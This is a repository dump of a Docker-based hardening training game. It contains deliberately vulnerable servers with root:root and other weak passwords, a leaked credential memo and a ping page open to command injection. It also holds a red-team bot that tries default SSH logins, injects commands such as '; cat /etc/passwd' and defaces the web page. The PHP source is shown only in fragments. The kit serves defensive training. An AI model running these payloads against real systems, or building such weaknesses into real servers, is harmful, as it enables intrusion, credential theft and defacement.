├── blue
├── apache
│ ├── memo.txt
│ ├── .htaccess
│ ├── default.conf
│ └── index.php
├── Dockerfile
└── setup.sh
├── red
├── requirements.txt
├── uwsgi.ini
├── Dockerfile
├── README.md
└── app.py
├── score-server
├── Dockerfile
├── package.json
├── public
│ └── styles.css
├── index.js
└── views
│ └── index.ejs
├── LICENSE
├── README.md
└── compose.yaml
/blue/apache/memo.txt:
--------------------------------------------------------------------------------
1 | dev user's password
2 |
3 | dev:devpass
4 |
--------------------------------------------------------------------------------
/red/requirements.txt:
--------------------------------------------------------------------------------
1 | requests==2.32.3
2 | paramiko==3.5.0
3 | Flask == 3.0.3
4 | uWSGI == 2.0.23
--------------------------------------------------------------------------------
/blue/apache/.htaccess:
--------------------------------------------------------------------------------
1 | # ルートにアクセスがあった場合、index.phpにリダイレクト
2 | RewriteEngine On
3 | RewriteCond %{REQUEST_URI} ^/$
4 | RewriteRule ^$ /index.php [L]
--------------------------------------------------------------------------------
/score-server/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:21-alpine
2 |
3 | WORKDIR /app
4 |
5 | COPY package.json ./
6 |
7 | RUN npm i
8 |
9 | COPY . .
10 |
11 | RUN adduser -D web
12 | USER web
13 |
14 | CMD ["npm", "start"]
--------------------------------------------------------------------------------
/red/uwsgi.ini:
--------------------------------------------------------------------------------
1 | [uwsgi]
2 | wsgi-file = app.py
3 | callable = app
4 | master = true
5 | processes = 4
6 | threads = 4
7 | http = :5555
8 | chmod-socket = 666
9 | vacuum = true
10 | die-on-term = true
11 | py-autoreload = 1
--------------------------------------------------------------------------------
/blue/apache/default.conf:
--------------------------------------------------------------------------------
1 |
2 | DocumentRoot /var/www/html
3 |
4 |
5 | AllowOverride All
6 |
7 |
8 | CustomLog /var/log/apache2/access.log combined
9 |
10 |
--------------------------------------------------------------------------------
/red/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.12-bullseye
2 |
3 | RUN mkdir /var/www
4 | WORKDIR /var/www
5 | COPY ./ ./
6 |
7 | RUN pip3 install -r requirements.txt
8 |
9 | ENV LANG C.UTF-8
10 |
11 | RUN chmod 755 -R /var/www
12 | RUN adduser -u 1000 red
13 | USER red
14 |
15 | CMD ["uwsgi", "--ini", "/var/www/uwsgi.ini"]
--------------------------------------------------------------------------------
/score-server/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "score-server",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "node index.js"
8 | },
9 | "dependencies": {
10 | "express": "^4.19.2",
11 | "ejs": "^3.1.10",
12 | "axios": "^1.7.7"
13 | },
14 | "author": "yuasa",
15 | "license": "MIT"
16 | }
--------------------------------------------------------------------------------
/blue/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:24.04
2 |
3 | ENV DEBIAN_FRONTEND=noninteractive
4 |
5 | WORKDIR /blue
6 |
7 | RUN apt-get update && \
8 | apt-get install -y \
9 | apache2 \
10 | php \
11 | libapache2-mod-php \
12 | php-mysql \
13 | openssh-server \
14 | iputils-ping \
15 | build-essential \
16 | net-tools \
17 | ufw \
18 | w3m \
19 | openssh-server \
20 | vim && \
21 | apt-get clean
22 |
23 | COPY . .
24 | RUN chmod +x setup.sh
25 |
26 | RUN echo "ServerName localhost" >> /etc/apache2/apache2.conf
27 |
28 | EXPOSE 22 80
29 |
30 | RUN a2enmod php8.3 && \
31 | a2enmod rewrite
32 |
33 | CMD ["/blue/setup.sh"]
--------------------------------------------------------------------------------
/blue/apache/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Ping Checker
7 |
8 |
9 | Ping Checker
10 |
11 |
16 |
17 | Ping result for $ip:";
27 | echo "$output
";
28 | }
29 | ?>
30 |
31 |
32 |
--------------------------------------------------------------------------------
/blue/setup.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # user
4 | for i in {1..10}; do
5 | username="user$i"
6 | useradd -m $username
7 | echo "$username:$username" | chpasswd
8 | done
9 | echo "root:root" | chpasswd
10 | useradd -m dev
11 | echo "dev:devpass" | chpasswd
12 |
13 | # apache
14 | cp /blue/apache/default.conf /etc/apache2/sites-available/000-default.conf
15 | cp /blue/apache/index.php /var/www/html/index.php
16 | cp /blue/apache/memo.txt /var/www/html/memo.txt
17 | cp /blue/apache/.htaccess /var/www/html/.htaccess
18 | chown -R www-data:www-data /var/www/html/
19 | a2ensite 000-default.conf
20 | apachectl start
21 |
22 | # ssh
23 | mkdir -p /run/sshd
24 | sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
25 | sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config
26 | /usr/sbin/sshd -D &
27 |
28 | tail -f /dev/null
--------------------------------------------------------------------------------
/score-server/public/styles.css:
--------------------------------------------------------------------------------
1 | body {
2 | font-family: Arial, sans-serif;
3 | background-color: #f4f4f4;
4 | margin: 0;
5 | padding: 20px;
6 | }
7 |
8 | h1 {
9 | text-align: center;
10 | color: #333;
11 | }
12 |
13 | table {
14 | width: 50%;
15 | margin: 20px auto;
16 | border-collapse: collapse;
17 | background-color: #fff;
18 | box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
19 | }
20 |
21 | th, td {
22 | padding: 12px;
23 | text-align: center;
24 | border-bottom: 1px solid #ddd;
25 | }
26 |
27 | th {
28 | background-color: #4CAF50;
29 | color: white;
30 | }
31 |
32 | tr:hover {
33 | background-color: #f5f5f5;
34 | }
35 |
36 | td {
37 | color: #333;
38 | }
39 |
40 | #game-controls {
41 | text-align: center;
42 | margin-top: 20px;
43 | }
44 |
45 | button {
46 | padding: 10px 20px;
47 | background-color: #4CAF50;
48 | color: white;
49 | border: none;
50 | cursor: pointer;
51 | }
52 |
53 | button:hover {
54 | background-color: #45a049;
55 | }
56 |
57 | #timer {
58 | font-size: 1.5em;
59 | }
60 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 JJ (yuasa)
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ochakai-hardening
2 |
3 |

4 |
5 |
6 | Ochakai Hardening is a tool that allows users to easily experience incident response training. It was created with the aim of serving as an icebreaker within teams participating in Japan's security hardening competition, the "[ハードニング競技会](https://wasforum.jp/hardening-project/)". Also, Ochakai Hardening was inspired by [ayato-hardening](https://github.com/ayato-shitomi/ayato-hardening/tree/master).
7 |
8 | ## Setup
9 |
10 | ```
11 | git clone https://github.com/melonattacker/ochakai-hardening.git
12 | cd ochakai-hardening
13 | docker compose up --build -d
14 | ```
15 |
16 | The following components will be launched:
17 | - The environment to be hardened, which is provided to the players. (`playerX` (X: 1~7))
18 | - An SSH server runs on port 2X022 (login is possible with `root:root`)
19 | - An web application accessible at http://localhost:2X080
20 | - Attacker server (`red`)
21 | - Score server (`score-server`)
22 | - Accessible at http://localhost:3000
23 |
24 | ## Game Rule
25 | - The competition time is 30 minutes.
26 | - Attacks will begin 10 minutes after the start of the competition.
27 | - The goal is to keep the web application operational.
28 | - Use `apachectl` for managing Apache operations.
29 |
30 | ## Game Start
31 | Click the `Start Game` button at http://localhost:3000.
32 |
33 |
34 |
35 | ## Attack Scenario
36 | **Note: Be careful, as this could be a SPOILER for the players.**
37 | - [Attack Scenario](./red/README.md)
38 |
--------------------------------------------------------------------------------
/compose.yaml:
--------------------------------------------------------------------------------
1 | services:
2 | player1:
3 | build: ./blue
4 | tty: true
5 | ports:
6 | - "21022:22"
7 | - "21080:80"
8 | networks:
9 | ochakai-network:
10 | ipv4_address: 172.18.0.11
11 |
12 | player2:
13 | build: ./blue
14 | tty: true
15 | ports:
16 | - "22022:22"
17 | - "22080:80"
18 | networks:
19 | ochakai-network:
20 | ipv4_address: 172.18.0.12
21 |
22 | player3:
23 | build: ./blue
24 | tty: true
25 | ports:
26 | - "23022:22"
27 | - "23080:80"
28 | networks:
29 | ochakai-network:
30 | ipv4_address: 172.18.0.13
31 |
32 | player4:
33 | build: ./blue
34 | tty: true
35 | ports:
36 | - "24022:22"
37 | - "24080:80"
38 | networks:
39 | ochakai-network:
40 | ipv4_address: 172.18.0.14
41 |
42 | player5:
43 | build: ./blue
44 | tty: true
45 | ports:
46 | - "25022:22"
47 | - "25080:80"
48 | networks:
49 | ochakai-network:
50 | ipv4_address: 172.18.0.15
51 |
52 | player6:
53 | build: ./blue
54 | tty: true
55 | ports:
56 | - "26022:22"
57 | - "26080:80"
58 | networks:
59 | ochakai-network:
60 | ipv4_address: 172.18.0.16
61 |
62 | player7:
63 | build: ./blue
64 | tty: true
65 | ports:
66 | - "27022:22"
67 | - "27080:80"
68 | networks:
69 | ochakai-network:
70 | ipv4_address: 172.18.0.17
71 |
72 | red:
73 | build: ./red
74 | tty: true
75 | ports:
76 | - "5555:5555"
77 | networks:
78 | ochakai-network:
79 | ipv4_address: 172.18.0.18
80 |
81 | score-server:
82 | build: ./score-server
83 | tty: true
84 | ports:
85 | - "3000:3000"
86 | networks:
87 | ochakai-network:
88 | ipv4_address: 172.18.0.19
89 |
90 | networks:
91 | ochakai-network:
92 | driver: bridge
93 | ipam:
94 | config:
95 | - subnet: 172.18.0.0/16
--------------------------------------------------------------------------------
/red/README.md:
--------------------------------------------------------------------------------
1 | # Attack Scenario
2 |
3 | ## Regular Checks
4 | Every 2 minutes, the server will be checked, and if all of the following conditions are met, 10 points will be awarded:
5 | - A web server is running on port 80 (returns status code 200).
6 | - The web application is functioning normally.
7 |
8 | ## Targeted Attacks
9 | Points will be awarded for preventing the following attacks:
10 |
11 | | Time | Event | Details | Points |
12 | |:-----|:-------------------------------|:--------------------------------------------------|:-----------------|
13 | | 0min | Start | | |
14 | | 10min| SSH Login to User | Attempts to log in as `root`, `user3`, `user8`, `user10`.
If logged in as `root`, stop the web server. | +10 x4 |
15 | | 15min| OS Command Injection Hint | Following commands executed via OS command injection:
`pwd`, `id`, `whoami`, `cat /etc/passwd` | +10 x4 |
16 | | 20min| Credential Leak | `memo.txt` is leaked via OS command injection | +50 |
17 | | 25min| Web Page Tampering | Web page is tampered via OS command injection | +50 |
18 | | 30min| End | | |
19 |
20 | ## Vulnerability Patching
21 |
22 | ```bash
23 | # Delete users
24 | for i in {1..10}; do userdel -r user$i; done
25 | # Change the root user's password
26 | echo "root:superrootpass" | chpasswd
27 | # Delete memo.txt
28 | rm /var/www/html/memo.txt
29 | # Patch OS command injection
30 | sed -i 's|//$ip = escapeshellarg($ip);|$ip = escapeshellarg($ip);|' /var/www/html/index.php && apachectl restart
31 | ```
32 |
33 | ## OS Command Injection Vulnerability
34 | `/var/www/html/index.php` is a web application that returns the results of the Ping command, but it contains an OS command injection vulnerability.
35 |
36 |
37 |
38 | By sending `; {cmd}`(e.g., `; ls`) as the ip, arbitrary commands can be executed.
39 |
40 |
41 |
42 | To fix the vulnerability, you need to uncomment `//$ip = escapeshellarg($ip);` and ensure that the string passed to the shell command is properly escaped.
43 |
44 | ```php
45 | Ping result for $ip:";
56 | echo "$output
";
57 | }
58 | ?>
59 | ```
60 |
61 |
--------------------------------------------------------------------------------
/score-server/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express');
2 | const axios = require('axios');
3 | const app = express();
4 | const port = 3000;
5 |
6 | app.set('view engine', 'ejs');
7 |
8 | app.use(express.json());
9 | app.use(express.static('public')); // Serve static files (e.g., CSS, JS)
10 |
11 | let gameStarted = false;
12 | let startTime = null;
13 | let elapsedTime = 0;
14 |
15 | const playerScores = {
16 | 1: { name: 'Player 1', score: 0 },
17 | 2: { name: 'Player 2', score: 0 },
18 | 3: { name: 'Player 3', score: 0 },
19 | 4: { name: 'Player 4', score: 0 },
20 | 5: { name: 'Player 5', score: 0 },
21 | 6: { name: 'Player 6', score: 0 },
22 | 7: { name: 'Player 7', score: 0 },
23 | };
24 |
25 | // Add score to the specified player
26 | app.post('/score', (req, res) => {
27 | const redIP = '::ffff:172.18.0.18';
28 | if (req.ip !== redIP) {
29 | console.log(`Request from unauthorized IP: ${req.ip}`);
30 | return res.status(403).json({ status: 'Access denied' });
31 | }
32 | const { player_id, score } = req.body;
33 | if (playerScores[player_id]) {
34 | playerScores[player_id].score += score;
35 | console.log(`Score updated for Player ${player_id}: ${playerScores[player_id].score}`);
36 | res.json({ status: 'success' });
37 | } else {
38 | res.status(404).json({ status: 'Player not found' });
39 | }
40 | });
41 |
42 | // Start game by sending POST request to http://red:5555/game-start
43 | app.post('/start-game', async (req, res) => {
44 | try {
45 | const response = await axios.post('http://red:5555/game-start');
46 | if (response.data.status === 'Game started') {
47 | gameStarted = true;
48 | startTime = Date.now();
49 | return res.json({ status: 'Game started' });
50 | } else {
51 | return res.status(500).json({ status: 'Failed to start game' });
52 | }
53 | } catch (error) {
54 | console.error('Error starting game:', error.message);
55 | return res.status(500).json({ status: 'Failed to start game' });
56 | }
57 | });
58 |
59 | // Endpoint to return elapsed time
60 | app.get('/elapsed-time', (req, res) => {
61 | if (!gameStarted) {
62 | return res.json({ elapsedTime: 0 });
63 | }
64 |
65 | elapsedTime = Math.floor((Date.now() - startTime) / 1000); // Elapsed time in seconds
66 | res.json({ elapsedTime });
67 | });
68 |
69 | // Serve the main page
70 | app.get('/', async (req, res) => {
71 | const players = Object.keys(playerScores).map(player_id => ({
72 | name: playerScores[player_id].name,
73 | score: playerScores[player_id].score
74 | }));
75 |
76 | // Sort players by score in descending order
77 | players.sort((a, b) => b.score - a.score);
78 |
79 | // Calculate elapsed time for initial rendering
80 | if (gameStarted) {
81 | elapsedTime = Math.floor((Date.now() - startTime) / 1000); // In seconds
82 | }
83 |
84 | res.render('index', { players, gameStarted, elapsedTime });
85 | });
86 |
87 | // Start the server
88 | app.listen(port, () => {
89 | console.log(`Score server listening at http://localhost:${port}`);
90 | });
91 |
--------------------------------------------------------------------------------
/score-server/views/index.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Player Scores
7 |
8 |
34 |
35 |
36 | Player Scores
37 |
38 |
39 |
40 | <% if (!gameStarted) { %>
41 |
42 | <% } %>
43 |
Elapsed Time: 0 minutes and 0 seconds
44 |
45 |
46 |
47 |
48 |
49 |
50 | | Rank |
51 | Player |
52 | Score |
53 |
54 |
55 |
56 | <% players.forEach(function(player, index) { %>
57 |
58 | | <%= index + 1 %> |
59 | <%= player.name %> |
60 | <%= player.score %> |
61 |
62 | <% }) %>
63 |
64 |
65 |
66 |
122 |
123 |
124 |
--------------------------------------------------------------------------------
/red/app.py:
--------------------------------------------------------------------------------
1 | import time
2 | import paramiko
3 | import requests
4 | from flask import Flask, jsonify
5 | import threading
6 |
7 | # Variables for hostname and port numbers
8 | HOSTNAMES = [
9 | 'player1',
10 | 'player2',
11 | 'player3',
12 | 'player4',
13 | 'player5',
14 | 'player6',
15 | 'player7',
16 | ] # Add more hostnames as needed
17 | SSH_PORT = 22
18 | HTTP_PORT = 80
19 | SCORE_SERVER_URL = 'http://score-server:3000/score' # URL to send score updates
20 | CHECK_INTERVAL = 120 # 2 minutes in seconds
21 | CHECK_DURATION = 1800 # 30 minutes in seconds
22 |
23 | # Create Flask app
24 | app = Flask(__name__)
25 |
26 | # Game running flag
27 | game_running = False
28 | game_lock = threading.Lock()
29 |
30 | # Function to send score update to score server
31 | def send_score_update(player_id, score):
32 | data = {
33 | 'player_id': player_id,
34 | 'score': score
35 | }
36 | try:
37 | response = requests.post(SCORE_SERVER_URL, json=data)
38 | print(f"Score updated for player {player_id}. Response Code: {response.status_code}")
39 | except Exception as e:
40 | print(f"Failed to send score update for player {player_id}: {e}")
41 |
42 | # Function to check if the web app returns status 200
43 | def check_status_code(player_id, hostname):
44 | try:
45 | url = f"http://{hostname}:{HTTP_PORT}/"
46 | response = requests.get(url)
47 | if response.status_code == 200:
48 | print(f"Web app on {hostname} returned status 200")
49 | send_score_update(player_id, 10)
50 | else:
51 | print(f"Web app on {hostname} did not return status 200")
52 | except Exception as e:
53 | print(f"Error checking status code on {hostname}: {e}")
54 |
55 | # Function to check if the web app is usable (ping test)
56 | def check_web_app_usage(player_id, hostname):
57 | try:
58 | url = f"http://{hostname}:{HTTP_PORT}/?ip=127.0.0.1"
59 | response = requests.get(url)
60 |
61 | if "127.0.0.1 ping statistics" in response.text:
62 | print(f"Web app on {hostname} is usable, ping successful")
63 | send_score_update(player_id, 10)
64 | else:
65 | print(f"Web app on {hostname} is not usable, ping failed")
66 | except Exception as e:
67 | print(f"Error checking web app usage on {hostname}: {e}")
68 |
69 | # Function to periodically check the web app's status and usability
70 | def periodic_check():
71 | start_time = time.time()
72 | while time.time() - start_time < CHECK_DURATION:
73 | print("Starting periodic check for web app status and usability...")
74 | for index, hostname in enumerate(HOSTNAMES):
75 | check_status_code(index + 1, hostname)
76 | check_web_app_usage(index + 1, hostname)
77 | time.sleep(CHECK_INTERVAL)
78 | print("Periodic checks ended after 30 minutes.")
79 |
80 | # Function to attempt SSH login
81 | def ssh_login(hostname, port, username, password, player_id):
82 | try:
83 | client = paramiko.SSHClient()
84 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
85 | client.connect(hostname, port=port, username=username, password=password)
86 | print(f"SSH login successful for {username} on {hostname}")
87 |
88 | # If the login is for root, try to stop apache
89 | if username == 'root':
90 | client.exec_command('apachectl stop')
91 |
92 | client.close()
93 | except Exception as e:
94 | print(f"SSH login failed for {username} on {hostname}: {e}")
95 | send_score_update(player_id, 50)
96 |
97 | # Attempt SSH logins for a given step
98 | def ssh_logins():
99 | print("Attempting SSH logins...")
100 | for index, hostname in enumerate(HOSTNAMES):
101 | ssh_login(hostname, SSH_PORT, 'root', 'root', index + 1)
102 | ssh_login(hostname, SSH_PORT, 'user3', 'user3', index + 1)
103 | ssh_login(hostname, SSH_PORT, 'user8', 'user8', index + 1)
104 | ssh_login(hostname, SSH_PORT, 'user10', 'user10', index + 1)
105 |
106 | # Attempts command injection for a given step
107 | def command_injection_requests():
108 | print("Attempting command injection requests...")
109 |
110 | for index, hostname in enumerate(HOSTNAMES):
111 | url = f"http://{hostname}:{HTTP_PORT}/"
112 |
113 | # Define the commands to be executed
114 | commands = {
115 | 'pwd': '/var/www/html',
116 | 'id': 'www-data',
117 | 'whoami': 'www-data',
118 | 'cat /etc/passwd': 'www-data'
119 | }
120 |
121 | for command, expected_output in commands.items():
122 | params = {'ip': f'; {command}'}
123 | try:
124 | response = requests.get(url, params=params)
125 | print(f"GET {command} to {hostname}, Response Code: {response.status_code}, Output: {response.text}")
126 |
127 | # Check if the response status is 200 and the expected output is in the response
128 | if response.status_code == 200 and expected_output in response.text:
129 | print(f"Command {command} executed successfully on {hostname}")
130 | else:
131 | print(f"Command {command} failed on {hostname}, '{expected_output}' not found")
132 | send_score_update(index + 1, 10)
133 |
134 | except Exception as e:
135 | print(f"Error with GET {command} to {hostname}: {e}")
136 |
137 | # Additional OS command injection: cat /var/www/html/memo.txt
138 | def additional_command_injection():
139 | print("Attempting additional command injection: cat /var/www/html/memo.txt")
140 | for index, hostname in enumerate(HOSTNAMES):
141 | url = f"http://{hostname}:{HTTP_PORT}/"
142 | command = 'cat /var/www/html/memo.txt'
143 |
144 | params = {'ip': f'; {command}'}
145 | try:
146 | response = requests.get(url, params=params)
147 | print(f"POST {command} to {hostname}, Response Code: {response.status_code}, Output: {response.text}")
148 |
149 | # Check if "dev:devpass" is in the response
150 | if "dev:devpass" not in response.text:
151 | print(f"'dev:devpass' not found in {hostname}, adding 50 points")
152 | send_score_update(index + 1, 50)
153 | except Exception as e:
154 | print(f"Error with POST {command} to {hostname}: {e}")
155 |
156 | # Attempts to modify ping-checker page for a given step
157 | def modify_ping_checker():
158 | print("Attempting to modify ping-checker page...")
159 | for index, hostname in enumerate(HOSTNAMES):
160 | url = f"http://{hostname}:{HTTP_PORT}/"
161 | payload = ('Hacked by Unknown'
165 | 'Hacked by Unknown
Your website is compromised.
'
166 | 'Take action immediately!
')
167 |
168 | params = {'ip': f'; echo "{payload}" > /var/www/html/index.php'}
169 |
170 | try:
171 | response = requests.get(url, params=params)
172 | print(f"POST modify request to {hostname}, Response Code: {response.status_code}")
173 | # Check if the page was modified
174 | time.sleep(5)
175 | modified_page = requests.get(url)
176 | if response.status_code == 200 and "Hacked by Unknown" not in modified_page.text:
177 | print(f"Failed to modify page on {hostname}")
178 | send_score_update(index + 1, 50)
179 | else:
180 | print(f"Page modified successfully on {hostname}")
181 | except Exception as e:
182 | print(f"Error with POST modify request to {hostname}: {e}")
183 |
184 | # The attack sequence for all steps
185 | def attack_sequence():
186 | print("Starting attack sequence...")
187 | time.sleep(10*60) # Wait for 10 minutes before starting the attack
188 |
189 | # Step 1: SSH logins
190 | print("Step 1: SSH logins")
191 | ssh_logins()
192 | time.sleep(5*60) # Wait for 5 minutes before proceeding to the next step
193 |
194 | # Step 2: Command injection
195 | print("Step 2: Command injection")
196 | command_injection_requests()
197 | time.sleep(5*60) # Wait for 5 minutes before proceeding to the next step
198 |
199 | # Step 3: Additional OS command injection: cat /var/www/html/memo.txt
200 | print("Step 3: Additional OS command injection")
201 | additional_command_injection()
202 | time.sleep(5*60) # Wait for 5 minutes before proceeding to the next step
203 |
204 | # Step 4: Page modification
205 | print("Step 4: Page modification")
206 | modify_ping_checker()
207 |
208 | # Flask route to start the game
209 | @app.route('/game-start', methods=['POST'])
210 | def game_start():
211 | global game_running
212 | with game_lock:
213 | if game_running:
214 | return jsonify({"status": "error", "message": "Game is already running"}), 400
215 | else:
216 | game_running = True
217 |
218 | # Start the attack sequence in a new thread
219 | attack_thread = threading.Thread(target=attack_sequence)
220 | attack_thread.start()
221 |
222 | # Start periodic check in a new thread
223 | periodic_check_thread = threading.Thread(target=periodic_check)
224 | periodic_check_thread.start()
225 |
226 | return jsonify({"status": "Game started"}), 200
227 |
228 | # Flask route to check health
229 | @app.route('/health', methods=['GET'])
230 | def health_check():
231 | return jsonify({"status": "Healthy"}), 200
232 |
233 | # Main function to run the Flask server
234 | def main():
235 | app.run(host='0.0.0.0', port=5555)
236 |
237 | # Execute
238 | if __name__ == "__main__":
239 | main()
240 |
--------------------------------------------------------------------------------